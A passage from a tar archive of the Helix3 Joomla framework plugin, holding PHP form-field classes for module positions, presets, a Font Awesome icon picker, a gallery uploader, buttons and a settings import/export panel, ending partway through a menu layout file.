    $html .= '</div>';

    //Font Size
    $fontSize = (isset($value->fontSize))?$value->fontSize:'';
    $html .= '<div class="span2 font-size">';
    $html .= '<label><strong>'. JText::_('HELIX_FONT_SIZE') .'</strong></label>';
    $html .= '<input type="number" value="'. $fontSize .'" class="webfont-size" min="1" placeholder="14">';
    $html .= '</div>';

    $html .= '</div>';

    //Preview
    $html .= '<p style="display:none" class="webfont-preview">1 2 3 4 5 6 7 8 9 0 Grumpy wizards make toxic brew for the evil Queen and Jack.</p>';

    $html .= '<input type="hidden" name="' . $this->name .'" value="'. $this->value .'" class="input-webfont" id="'. $this->id .'">';

    $html .= '</div>';


    return $html;

  }

  // Get current font
  private static function filterArray($items, $key) {

    foreach ($items as $item) {
      if($item->family == $key) {
        return $item;
      }
    }

    return false;
  }

  //Get template name
  private static function getTemplate() {

    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName(array('template')));
    $query->from($db->quoteName('#__template_styles'));
    $query->where($db->quoteName('id') . ' = '. $db->quote( JRequest::getVar('id') ));
    $db->setQuery($query);

    return $db->loadResult();
  }

}
                                                                  system/helix3/fields/modpos.php                                                                     0000705                 00000003402 15242051520 0012535 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

JFormHelper::loadFieldClass('text');

/**
* Supports a modal article picker.
*
* @package		Joomla.Administrator
* @subpackage	com_modules
* @since		1.6
*/
class JFormFieldModPos extends JFormFieldText
{
  /**
  * The form field type.
  *
  * @var		string
  * @since	1.6
  */
  protected $type = 'ModPos';

  /**
  * Method to get the field input markup.
  *
  * @return	string	The field input markup.
  * @since	1.6
  */
  protected function getInput()
  {
    $db = JFactory::getDBO();
    $query = 'SELECT `position` FROM `#__modules` WHERE  `client_id`=0 AND ( `published` !=-2 AND `published` !=0 ) GROUP BY `position` ORDER BY `position` ASC';

    $db->setQuery($query);
    $dbpositions = (array) $db->loadAssocList();


    $template = $this->form->getValue('template');
    $templateXML = JPATH_SITE.'/templates/'.$template.'/templateDetails.xml';
    $template = simplexml_load_file( $templateXML );
    $options = array();

    foreach($dbpositions as $positions) $options[] = $positions['position'];

    foreach($template->positions[0] as $position)  $options[] =  (string) $position;

    $options = array_unique($options);

    $selectOption = array();
    sort($selectOption);

    foreach($options as $option) $selectOption[] = JHTML::_( 'select.option',$option,$option );

    return JHTML::_('select.genericlist', $selectOption, 'jform[params]['.$this->element['name'].']', 'class="'.$this->element['class'].'"', 'value', 'text', $this->value, 'jform_params_helix_'.$this->element['name']);
  }
}
                                                                                                                                                                                                                                                              system/helix3/fields/presets.php                                                                    0000705                 00000004377 15242051520 0012735 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

jimport('joomla.form.formfield');
jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.file');


class JFormFieldPresets extends JFormField {

  protected $type = 'Presets';

  protected function getInput()
  {

    $template = $this->form->getValue('template');
    $templatePresetsDir = JPATH_SITE.'/templates/'.$template.'/images/presets/';
    $base_url = JURI::root(true).'/templates/'.$template.'/images/presets/';
    $root_path = JPATH_SITE.'/templates/'.$template.'/images/presets/';
    $doc = JFactory::getDocument();
    $helix_url = JURI::root(true).'/plugins/system/helix3/';

    $folders = JFolder::folders($templatePresetsDir);

    if( !defined('CURRENT_PRESET') ){
      define('CURRENT_PRESET', $this->value);
      $doc->addScriptDeclaration('var current_preset = "'.$this->value.'";');
    }

    $html       = '';
    $app        = JFactory::getApplication();
    $template   = $app->getTemplate('shaper_helix3');
    $params     = $template->params;
    $variable   = $params->get('variable');

    natsort($folders );

    foreach($folders as $folder)
    {

      $preset = basename($folder);

      $major_color = $preset . '_major';

      if(isset($this->form->getValue('params')->$major_color) && $this->form->getValue('params')->$major_color) {
        $major = $this->form->getValue('params')->$major_color;
      } else {
        $major = '#333333';
      }

      $html .='<div style="background-color: '. $major .'" data-preset="'. basename($folder) .'" class="preset' .(($this->value == basename($folder))?' active':'').'">';
      $html .='<div class="preset-title">';
      $html .= basename($folder);
      $html .='</div>';

      $html .='<div class="preset-contents">';
      $html .='<label>';
      $html .='</div>';

      $html .='</label>';
      $html .='</div>';
    }

    $html .='<input type="hidden" id="template-preset" value="'. $this->value .'" name="'. $this->name .'" />';

    return $html;

  }

  public function getLabel()
  {
    return false;
  }

}
                                                                                                                                                                                                                                                                 system/helix3/fields/icon.php                                                                       0000705                 00000034277 15242051520 0012202 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

jimport('joomla.form.formfield');

jimport('joomla.html.html.select');

class JFormFieldIcon extends JFormField {

	protected $type = 'Icon';

	public function getInput() {

		$icons = $this->getIconsList();

		$arr = array();
		$arr[] = JHtml::_('select.option', '', '' );

		foreach ($icons as $value) {
			$arr[] = JHtml::_('select.option', $value, str_replace('fa-', '', $value) );
		}

		return JHtml::_('select.genericlist', $arr, $this->name, null, 'value', 'text', $this->value);

	}

	/*Icons List*/
	private static function getIconsList() {
		return array(
			'fa-500px',
			'fa-adjust',
			'fa-adn',
			'fa-align-center',
			'fa-align-justify',
			'fa-align-left',
			'fa-align-right',
			'fa-amazon',
			'fa-ambulance',
			'fa-anchor',
			'fa-android',
			'fa-angellist',
			'fa-angle-double-down',
			'fa-angle-double-left',
			'fa-angle-double-right',
			'fa-angle-double-up',
			'fa-angle-down',
			'fa-angle-left',
			'fa-angle-right',
			'fa-angle-up',
			'fa-apple',
			'fa-archive',
			'fa-area-chart',
			'fa-arrow-circle-down',
			'fa-arrow-circle-left',
			'fa-arrow-circle-o-down',
			'fa-arrow-circle-o-left',
			'fa-arrow-circle-o-right',
			'fa-arrow-circle-o-up',
			'fa-arrow-circle-right',
			'fa-arrow-circle-up',
			'fa-arrow-down',
			'fa-arrow-left',
			'fa-arrow-right',
			'fa-arrow-up',
			'fa-arrows',
			'fa-arrows-alt',
			'fa-arrows-h',
			'fa-arrows-v',
			'fa-asterisk',
			'fa-at',
			'fa-automobile',
			'fa-backward',
			'fa-balance-scale',
			'fa-ban',
			'fa-bank',
			'fa-bar-chart',
			'fa-bar-chart-o',
			'fa-barcode',
			'fa-bars',
			'fa-battery0',
			'fa-battery1',
			'fa-battery2',
			'fa-battery3',
			'fa-battery4',
			'fa-battery-empty',
			'fa-battery-full',
			'fa-battery-half',
			'fa-battery-quarter',
			'fa-battery-three-quarters',
			'fa-bed',
			'fa-beer',
			'fa-behance',
			'fa-behance-square',
			'fa-bell',
			'fa-bell-o',
			'fa-bell-slash',
			'fa-bell-slash-o',
			'fa-bicycle',
			'fa-binoculars',
			'fa-birthday-cake',
			'fa-bitbucket',
			'fa-bitbucket-square',
			'fa-bitcoin',
			'fa-black-tie',
			'fa-bold',
			'fa-bolt',
			'fa-bomb',
			'fa-book',
			'fa-bookmark',
			'fa-bookmark-o',
			'fa-briefcase',
			'fa-btc',
			'fa-bug',
			'fa-building',
			'fa-building-o',
			'fa-bullhorn',
			'fa-bullseye',
			'fa-bus',
			'fa-buysellads',
			'fa-cab',
			'fa-calculator',
			'fa-calendar',
			'fa-calendar-check-o',
			'fa-calendar-minus-o',
			'fa-calendar-o',
			'fa-calendar-plus-o',
			'fa-calendar-times-o',
			'fa-camera',
			'fa-camera-retro',
			'fa-car',
			'fa-caret-down',
			'fa-caret-left',
			'fa-caret-right',
			'fa-caret-square-o-down',
			'fa-caret-square-o-left',
			'fa-caret-square-o-right',
			'fa-caret-square-o-up',
			'fa-caret-up',
			'fa-cart-arrow-down',
			'fa-cart-plus',
			'fa-cc',
			'fa-cc-amex',
			'fa-cc-diners-club',
			'fa-cc-discover',
			'fa-cc-jcb',
			'fa-cc-mastercard',
			'fa-cc-paypal',
			'fa-cc-stripe',
			'fa-cc-visa',
			'fa-certificate',
			'fa-chain',
			'fa-chain-broken',
			'fa-check',
			'fa-check-circle',
			'fa-check-circle-o',
			'fa-check-square',
			'fa-check-square-o',
			'fa-chevron-circle-down',
			'fa-chevron-circle-left',
			'fa-chevron-circle-right',
			'fa-chevron-circle-up',
			'fa-chevron-down',
			'fa-chevron-left',
			'fa-chevron-right',
			'fa-chevron-up',
			'fa-child',
			'fa-chrome',
			'fa-circle',
			'fa-circle-o',
			'fa-circle-o-notch',
			'fa-circle-thin',
			'fa-clipboard',
			'fa-clock-o',
			'fa-clone',
			'fa-close',
			'fa-cloud',
			'fa-cloud-download',
			'fa-cloud-upload',
			'fa-cny',
			'fa-code',
			'fa-code-fork',
			'fa-codepen',
			'fa-coffee',
			'fa-cog',
			'fa-cogs',
			'fa-columns',
			'fa-comment',
			'fa-comment-o',
			'fa-commenting',
			'fa-commenting-o',
			'fa-comments',
			'fa-comments-o',
			'fa-compass',
			'fa-compress',
			'fa-connectdevelop',
			'fa-contao',
			'fa-copy',
			'fa-copyright',
			'fa-creative-commons',
			'fa-credit-card',
			'fa-crop',
			'fa-crosshairs',
			'fa-css3',
			'fa-cube',
			'fa-cubes',
			'fa-cut',
			'fa-cutlery',
			'fa-dashboard',
			'fa-dashcube',
			'fa-database',
			'fa-dedent',
			'fa-delicious',
			'fa-desktop',
			'fa-deviantart',
			'fa-diamond',
			'fa-digg',
			'fa-dollar',
			'fa-dot-circle-o',
			'fa-download',
			'fa-dribbble',
			'fa-dropbox',
			'fa-drupal',
			'fa-edit',
			'fa-eject',
			'fa-ellipsis-h',
			'fa-ellipsis-v',
			'fa-empire',
			'fa-envelope',
			'fa-envelope-o',
			'fa-envelope-square',
			'fa-eraser',
			'fa-eur',
			'fa-euro',
			'fa-exchange',
			'fa-exclamation',
			'fa-exclamation-circle',
			'fa-exclamation-triangle',
			'fa-expand',
			'fa-expeditedssl',
			'fa-external-link',
			'fa-external-link-square',
			'fa-eye',
			'fa-eye-slash',
			'fa-eyedropper',
			'fa-facebook',
			'fa-facebook-f',
			'fa-facebook-official',
			'fa-facebook-square',
			'fa-fast-backward',
			'fa-fast-forward',
			'fa-fax',
			'fa-female',
			'fa-fighter-jet',
			'fa-file',
			'fa-file-archive-o',
			'fa-file-audio-o',
			'fa-file-code-o',
			'fa-file-excel-o',
			'fa-file-image-o',
			'fa-file-movie-o',
			'fa-file-o',
			'fa-file-pdf-o',
			'fa-file-photo-o',
			'fa-file-picture-o',
			'fa-file-powerpoint-o',
			'fa-file-sound-o',
			'fa-file-text',
			'fa-file-text-o',
			'fa-file-video-o',
			'fa-file-word-o',
			'fa-file-zip-o',
			'fa-files-o',
			'fa-film',
			'fa-filter',
			'fa-fire',
			'fa-fire-extinguisher',
			'fa-firefox',
			'fa-flag',
			'fa-flag-checkered',
			'fa-flag-o',
			'fa-flash',
			'fa-flask',
			'fa-flickr',
			'fa-floppy-o',
			'fa-folder',
			'fa-folder-o',
			'fa-folder-open',
			'fa-folder-open-o',
			'fa-font',
			'fa-fonticons',
			'fa-forumbee',
			'fa-forward',
			'fa-foursquare',
			'fa-frown-o',
			'fa-futbol-o',
			'fa-gamepad',
			'fa-gavel',
			'fa-gbp',
			'fa-ge',
			'fa-gear',
			'fa-gears',
			'fa-genderless',
			'fa-get-pocket',
			'fa-gg',
			'fa-gg-circle',
			'fa-gift',
			'fa-git',
			'fa-git-square',
			'fa-github',
			'fa-github-alt',
			'fa-github-square',
			'fa-gittip',
			'fa-glass',
			'fa-globe',
			'fa-google',
			'fa-google-plus',
			'fa-google-plus-square',
			'fa-google-wallet',
			'fa-graduation-cap',
			'fa-gratipay',
			'fa-group',
			'fa-h-square',
			'fa-hacker-news',
			'fa-hand-grab-o',
			'fa-hand-lizard-o',
			'fa-hand-o-down',
			'fa-hand-o-left',
			'fa-hand-o-right',
			'fa-hand-o-up',
			'fa-hand-paper-o',
			'fa-hand-peace-o',
			'fa-hand-pointer-o',
			'fa-hand-rock-o',
			'fa-hand-scissors-o',
			'fa-hand-spock-o',
			'fa-hand-stop-o',
			'fa-hdd-o',
			'fa-header',
			'fa-headphones',
			'fa-heart',
			'fa-heart-o',
			'fa-heartbeat',
			'fa-history',
			'fa-home',
			'fa-hospital-o',
			'fa-hotel',
			'fa-hourglass',
			'fa-hourglass-1',
			'fa-hourglass-2',
			'fa-hourglass-3',
			'fa-hourglass-end',
			'fa-hourglass-half',
			'fa-hourglass-o',
			'fa-hourglass-start',
			'fa-houzz',
			'fa-html5',
			'fa-i-cursor',
			'fa-ils',
			'fa-image',
			'fa-inbox',
			'fa-indent',
			'fa-industry',
			'fa-info',
			'fa-info-circle',
			'fa-inr',
			'fa-instagram',
			'fa-internet-explorer',
			'fa-institution',
			'fa-ioxhost',
			'fa-italic',
			'fa-joomla',
			'fa-jpy',
			'fa-jsfiddle',
			'fa-key',
			'fa-keyboard-o',
			'fa-krw',
			'fa-language',
			'fa-laptop',
			'fa-lastfm',
			'fa-lastfm-square',
			'fa-leaf',
			'fa-leanpub',
			'fa-legal',
			'fa-lemon-o',
			'fa-level-down',
			'fa-level-up',
			'fa-life-bouy',
			'fa-life-buoy',
			'fa-life-ring',
			'fa-life-saver',
			'fa-lightbulb-o',
			'fa-line-chart',
			'fa-link',
			'fa-linkedin',
			'fa-linkedin-square',
			'fa-linux',
			'fa-list',
			'fa-list-alt',
			'fa-list-ol',
			'fa-list-ul',
			'fa-location-arrow',
			'fa-lock',
			'fa-long-arrow-down',
			'fa-long-arrow-left',
			'fa-long-arrow-right',
			'fa-long-arrow-up',
			'fa-magic',
			'fa-magnet',
			'fa-mail-forward',
			'fa-mail-reply',
			'fa-mail-reply-all',
			'fa-male',
			'fa-map',
			'fa-map-marker',
			'fa-map-o',
			'fa-map-pin',
			'fa-map-signs',
			'fa-mars',
			'fa-mars-double',
			'fa-mars-stroke',
			'fa-mars-stroke-h',
			'fa-mars-stroke-v',
			'fa-maxcdn',
			'fa-meanpath',
			'fa-medium',
			'fa-medkit',
			'fa-meh-o',
			'fa-mercury',
			'fa-microphone',
			'fa-microphone-slash',
			'fa-minus',
			'fa-minus-circle',
			'fa-minus-square',
			'fa-minus-square-o',
			'fa-mobile',
			'fa-mobile-phone',
			'fa-money',
			'fa-moon-o',
			'fa-mortar-board',
			'fa-motorcycle',
			'fa-mouse-pointer',
			'fa-music',
			'fa-navicon',
			'fa-neuter',
			'fa-newspaper-o',
			'fa-object-group',
			'fa-odnoklassniki',
			'fa-odnoklassniki-square',
			'fa-opencart',
			'fa-openid',
			'fa-optin-monster',
			'fa-outdent',
			'fa-pagelines',
			'fa-paint-brush',
			'fa-paper-plane',
			'fa-paper-plane-o',
			'fa-paperclip',
			'fa-paragraph',
			'fa-paste',
			'fa-pause',
			'fa-paw',
			'fa-paypal',
			'fa-pencil',
			'fa-pencil-square',
			'fa-pencil-square-o',
			'fa-phone',
			'fa-phone-square',
			'fa-photo',
			'fa-picture-o',
			'fa-pie-chart',
			'fa-pied-piper',
			'fa-pied-piper-alt',
			'fa-pinterest',
			'fa-pinterest-p',
			'fa-pinterest-square',
			'fa-plane',
			'fa-play',
			'fa-play-circle',
			'fa-play-circle-o',
			'fa-plug',
			'fa-plus',
			'fa-plus-circle',
			'fa-plus-square',
			'fa-plus-square-o',
			'fa-power-off',
			'fa-print',
			'fa-puzzle-piece',
			'fa-qq',
			'fa-qrcode',
			'fa-question',
			'fa-question-circle',
			'fa-quote-left',
			'fa-quote-right',
			'fa-ra',
			'fa-random',
			'fa-rebel',
			'fa-recycle',
			'fa-reddit',
			'fa-reddit-square',
			'fa-refresh',
			'fa-registered',
			'fa-remove',
			'fa-renren',
			'fa-reorder',
			'fa-repeat',
			'fa-reply',
			'fa-reply-all',
			'fa-retweet',
			'fa-rmb',
			'fa-road',
			'fa-rocket',
			'fa-rotate-left',
			'fa-rotate-right',
			'fa-rouble',
			'fa-rss',
			'fa-rss-square',
			'fa-rub',
			'fa-ruble',
			'fa-rupee',
			'fa-safari',
			'fa-save',
			'fa-scissors',
			'fa-search',
			'fa-search-minus',
			'fa-search-plus',
			'fa-sellsy',
			'fa-send',
			'fa-send-o',
			'fa-server',
			'fa-share',
			'fa-share-alt',
			'fa-share-alt-square',
			'fa-share-square',
			'fa-share-square-o',
			'fa-shekel',
			'fa-sheqel',
			'fa-shield',
			'fa-ship',
			'fa-shirtsinbulk',
			'fa-shopping-cart',
			'fa-sign-in',
			'fa-sign-out',
			'fa-signal',
			'fa-simplybuilt',
			'fa-sitemap',
			'fa-skyatlas',
			'fa-skype',
			'fa-slack',
			'fa-sliders',
			'fa-slideshare',
			'fa-smile-o',
			'fa-soccer-ball-o',
			'fa-sort',
			'fa-sort-alpha-asc',
			'fa-sort-alpha-desc',
			'fa-sort-amount-asc',
			'fa-sort-amount-desc',
			'fa-sort-asc',
			'fa-sort-desc',
			'fa-sort-down',
			'fa-sort-numeric-asc',
			'fa-sort-numeric-desc',
			'fa-sort-up',
			'fa-soundcloud',
			'fa-space-shuttle',
			'fa-spinner',
			'fa-spoon',
			'fa-spotify',
			'fa-square',
			'fa-square-o',
			'fa-stack-exchange',
			'fa-stack-overflow',
			'fa-star',
			'fa-star-half',
			'fa-star-half-empty',
			'fa-star-half-full',
			'fa-star-half-o',
			'fa-star-o',
			'fa-steam',
			'fa-steam-square',
			'fa-step-backward',
			'fa-step-forward',
			'fa-stethoscope',
			'fa-sticky-note-o',
			'fa-stop',
			'fa-street-view',
			'fa-strikethrough',
			'fa-stumbleupon',
			'fa-stumbleupon-circle',
			'fa-subscript',
			'fa-subway',
			'fa-suitcase',
			'fa-sun-o',
			'fa-superscript',
			'fa-support',
			'fa-table',
			'fa-tablet',
			'fa-tachometer',
			'fa-tag',
			'fa-tags',
			'fa-tasks',
			'fa-taxi',
			'fa-television',
			'fa-tencent-weibo',
			'fa-terminal',
			'fa-text-height',
			'fa-text-width',
			'fa-th',
			'fa-th-large',
			'fa-th-list',
			'fa-thumb-tack',
			'fa-thumbs-down',
			'fa-thumbs-o-down',
			'fa-thumbs-o-up',
			'fa-thumbs-up',
			'fa-ticket',
			'fa-times',
			'fa-times-circle',
			'fa-times-circle-o',
			'fa-tint',
			'fa-toggle-down',
			'fa-toggle-left',
			'fa-toggle-off',
			'fa-toggle-on',
			'fa-toggle-right',
			'fa-toggle-up',
			'fa-trademark',
			'fa-train',
			'fa-transgender',
			'fa-transgender-alt',
			'fa-trash',
			'fa-trash-o',
			'fa-tree',
			'fa-trello',
			'fa-trophy',
			'fa-truck',
			'fa-try',
			'fa-tty',
			'fa-tumblr',
			'fa-tumblr-square',
			'fa-turkish-lira',
			'fa-tv',
			'fa-twitch',
			'fa-twitter',
			'fa-twitter-square',
			'fa-umbrella',
			'fa-underline',
			'fa-undo',
			'fa-university',
			'fa-unlink',
			'fa-unlock',
			'fa-unlock-alt',
			'fa-unsorted',
			'fa-upload',
			'fa-usd',
			'fa-user',
			'fa-user-md',
			'fa-user-plus',
			'fa-user-secret',
			'fa-user-times',
			'fa-users',
			'fa-venus',
			'fa-venus-double',
			'fa-venus-mars',
			'fa-viacoin',
			'fa-video-camera',
			'fa-vimeo',
			'fa-vimeo-square',
			'fa-vine',
			'fa-vk',
			'fa-volume-down',
			'fa-volume-off',
			'fa-volume-up',
			'fa-warning',
			'fa-wechat',
			'fa-weibo',
			'fa-weixin',
			'fa-whatsapp',
			'fa-wheelchair',
			'fa-wifi',
			'fa-wikipedia-w',
			'fa-windows',
			'fa-won',
			'fa-wordpress',
			'fa-wrench',
			'fa-xing',
			'fa-xing-square',
			'fa-yahoo',
			'fa-yc',
			'fa-yelp',
			'fa-yen',
			'fa-youtube',
			'fa-youtube-play',
			'fa-youtube-square',
			'fa-address-book',
			'fa-address-book-o',
			'fa-vcard',
			'fa-address-card',
			'fa-vcard-o',
			'fa-address-card-o',
			'fa-bandcamp',
			'fa-bathtub',
			'fa-s15',
			'fa-bath',
			'fa-drivers-license',
			'fa-id-card',
			'fa-drivers-license-o',
			'fa-id-card-o',
			'fa-eercast',
			'fa-envelope-open',
			'fa-envelope-open-o',
			'fa-etsy',
			'fa-free-code-camp',
			'fa-grav',
			'fa-handshake-o',
			'fa-id-badge',
			'fa-imdb',
			'fa-linode',
			'fa-meetup',
			'fa-microchip',
			'fa-podcast',
			'fa-quora',
			'fa-ravelry',
			'fa-shower',
			'fa-snowflake-o',
			'fa-superpowers',
			'fa-telegram',
			'fa-thermometer-4',
			'fa-thermometer',
			'fa-thermometer-full',
			'fa-thermometer-3',
			'fa-thermometer-three-quarters',
			'fa-thermometer-2',
			'fa-thermometer-half',
			'fa-thermometer-1',
			'fa-thermometer-quarter',
			'fa-thermometer-0',
			'fa-thermometer-empty',
			'fa-times-rectangle',
			'fa-window-close',
			'fa-times-rectangle-o',
			'fa-window-close-o',
			'fa-user-circle',
			'fa-user-circle-o',
			'fa-window-maximize',
			'fa-window-minimize',
			'fa-window-restore',
			'fa-wpexplorer'
			);
}
}
                                                                                                                                                                                                                                                                                                                                 system/helix3/fields/group.php                                                                      0000705                 00000001527 15242051520 0012376 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

jimport('joomla.form.formfield');

class JFormFieldGroup extends JFormField {
  protected $type = 'Group';
  public function getInput() {
    $text   = (string) $this->element['title'];
    $subtitle  	= (!empty($this->element['subtitle'])) ? '<span>' . JText::_($this->element['subtitle']) . '</span>':'';
    $group = ($this->element['group']=='no')?'no_group':'in_group';
    return '<div class="group_separator '.$group.'" title="'. JText::_($this->element['desc']) .'">' . JText::_($text) . $subtitle . '</div>';
  }

  public function getLabel(){
    return false;
  }
}
                                                                                                                                                                         system/helix3/fields/optionio.php                                                                   0000705                 00000002361 15242051520 0013077 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

jimport('joomla.form.formfield');

class JFormFieldOptionio extends JFormField
{
	protected $type = 'optionio';

	protected function getInput()
	{
		$input = JFactory::getApplication()->input;
		$template_id = $input->get('id',0,'INT');

		$url_cureent =  "//$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";

		$export_url = $url_cureent . '&helix3task=export';

		$output = '';
		$output .= '<div class="import-export clearfix" style="margin-bottom:30px;">';
		$output .= '<a class="btn btn-success" target="_blank" href="'. $export_url .'">'. JText::_("HELIX_SETTINGS_EXPORT") .'</a>';
		$output .= '</div>';
		$output .= '<div class="import-export clearfix">';
		$output .= '<textarea id="import-data" name="import-data" rows="5" style="margin-bottom:20px;"></textarea>';
		$output .= '<a id="import-settings" class="btn btn-primary" data-template_id="'. $template_id .'" target="_blank" href="#">'. JText::_("HELIX_SETTINGS_IMPORT") .'</a>';
		$output .= '</div>';

		return $output;
	}
}
                                                                                                                                                                                                                                                                               system/helix3/fields/spgallery.php                                                                  0000705                 00000005023 15242051520 0013237 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

class JFormFieldSpgallery extends JFormField {

  protected $type = 'Spgallery';

  protected function getInput()
  {
    $doc = JFactory::getDocument();

    JHtml::_('jquery.framework');
    JHtml::_('jquery.ui', array('core', 'sortable'));

    $plg_path = JURI::root(true) . '/plugins/system/helix3';
    $doc->addScript($plg_path . '/assets/js/spgallery.js');
    $doc->addStyleSheet($plg_path . '/assets/css/spgallery.css');

    $values = json_decode($this->value);

    if($values) {
      $images = $this->element['name'] . '_images';
      $values = $values->$images;
    } else {
      $values = array();
    }

    $output  = '<div class="sp-gallery-field">';
    $output .= '<ul class="sp-gallery-items clearfix">';

    if(is_array($values) && $values) {
      foreach ($values as $key => $value) {

        $data_src = $value;

        $src = JURI::root(true) . '/' . $value;

        $basename = basename($src);

        $thumbnail = JPATH_ROOT . '/' . dirname($value) . '/' . JFile::stripExt($basename) . '_thumbnail.' . JFile::getExt($basename);
        if(file_exists($thumbnail)) {
          $src = JURI::root(true) . '/' . dirname($value) . '/' . JFile::stripExt($basename) . '_thumbnail.' . JFile::getExt($basename);
        }

        $small_size = JPATH_ROOT . '/' . dirname($value) . '/' . JFile::stripExt($basename) . '_small.' . JFile::getExt($basename);
        if(file_exists($small_size)) {
          $src = JURI::root(true) . '/' . dirname($value) . '/' . JFile::stripExt($basename) . '_small.' . JFile::getExt($basename);
        }

        $output .= '<li data-src="' . $data_src . '"><a href="#" class="btn btn-mini btn-danger btn-remove-image">Delete</a><img src="'. $src .'" alt=""></li>';
      }
    }

    $output .= '</ul>';

    $output .= '<input type="file" class="sp-gallery-item-upload" accept="image/*" style="display:none;">';
    $output .= '<a class="btn btn-default btn-large btn-sp-gallery-item-upload" href="#"><i class="fa fa-plus"></i> Upload Images</a>';


    $output .= '<input type="hidden" name="'. $this->name .'" data-name="'. $this->element['name'] .'_images" id="' . $this->id . '" value="' . htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8')
    . '"  class="form-field-spgallery">';
    $output .= '</div>';

    return $output;
  }
}                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             system/helix3/fields/button.php                                                                     0000705                 00000001543 15242051520 0012553 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

jimport('joomla.form.formfield');

class JFormFieldButton extends JFormField
{
	protected $type = 'Button';
	protected function getInput() {

		$url = !empty($this->element['url']) ? $this->element['url'] : '#';
		$class = !empty($this->element['class']) ? ' ' . $this->element['class'] : '';
		$text = !empty($this->element['text']) ? $this->element['text'] : 'Button';
		$target = !empty($this->element['target']) ? $this->element['target'] : '_self';

		return '<a id="'. $this->id .'" class="btn'. $class .'" href="'. $url .'" target="' . $target . '">'. JText::_($text) .'</a>';
	}
}
                                                                                                                                                             system/helix3/fields/menulayout.php                                                                 0000705                 00000046764 15242051520 0013460 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

$current_menu_id = $this->form->getValue('id');

function create_menu($current_menu_id)
{
  $items = menuItems();
  $menus = new JMenuSite;

  if (isset($items[$current_menu_id]))
  {
    $item = $items[$current_menu_id];
    foreach ($item as $key => $item_id)
    {
      echo '<li>';
      echo $menus->getItem($item_id)->title;
      echo '</li>';
    }
  }
}

function menuItems()
{
  $menus = new JMenuSite;
  $menus = $menus->getMenu();
  $new = array();
  foreach ($menus as $item) {
    $new[$item->parent_id][] = $item->id;
  }
  return $new;
}

function getModuleNameId($id = 'all')
{
  $db = JFactory::getDBO();

  if ($id == 'all') {
    $query = 'SELECT id, title FROM `#__modules` WHERE ( `published` !=-2 AND `published` !=0 ) AND client_id = 0';
  } else {
    $query = 'SELECT id, title FROM `#__modules` WHERE ( `published` !=-2 AND `published` !=0 ) AND id = ' . $id;
  }

  $db->setQuery($query);

  return $db->loadObjectList();
}

$modules = getModuleNameId();
?>

<?php
$menu_width = 600;
$align = 'right';
$layout = '';

if (isset($menu_data->width))
{
  $menu_width = $menu_data->width;
}

if (isset($menu_data->menuAlign))
{
  $align = $menu_data->menuAlign;
}

if (isset($menu_data->layout))
{
  $layout = $menu_data->layout;
}
?>

<?php
$items = menuItems();
$item = array();
if (isset($items[$current_menu_id]) && !empty($items[$current_menu_id])) {
  $item = $items[$current_menu_id];
}

$menuItems = new JMenuSite;

$no_child = true;
$count = 0;
$x_key = 0;
$y_key = 0;
$check_child = 0;
$item_array = array();

foreach ($item as $key => $id)
{
  $status = 0;
  if (isset($items[$id]) && is_array($items[$id]))
  {
    $no_child = false;
    $count = $count + 1;
    $check_child = $check_child+1;
    $status = 1;
  }

  if ($check_child === 2)
  {
    $y_key = 0;
    $x_key = $x_key + 1;
    $check_child = 1;
  }

  $item_array[$x_key][$y_key] = array($id,$status);
  $y_key = $y_key + 1;
}

if ($no_child === true)
{
  $count = 1;
}

if($count > 4 && $count != 6)
{
  $count = 4;
}
?>


<div class="row-fluid">

  <div class="span2">
    <h3 class="sidebar-title"><?php echo JText::_('HELIX_MENU_DRAG_MODULE'); ?></h3>
    <div class="modules-list">
      <?php
      $modules = getModuleNameId();
      if($modules) {
        foreach($modules as $module){
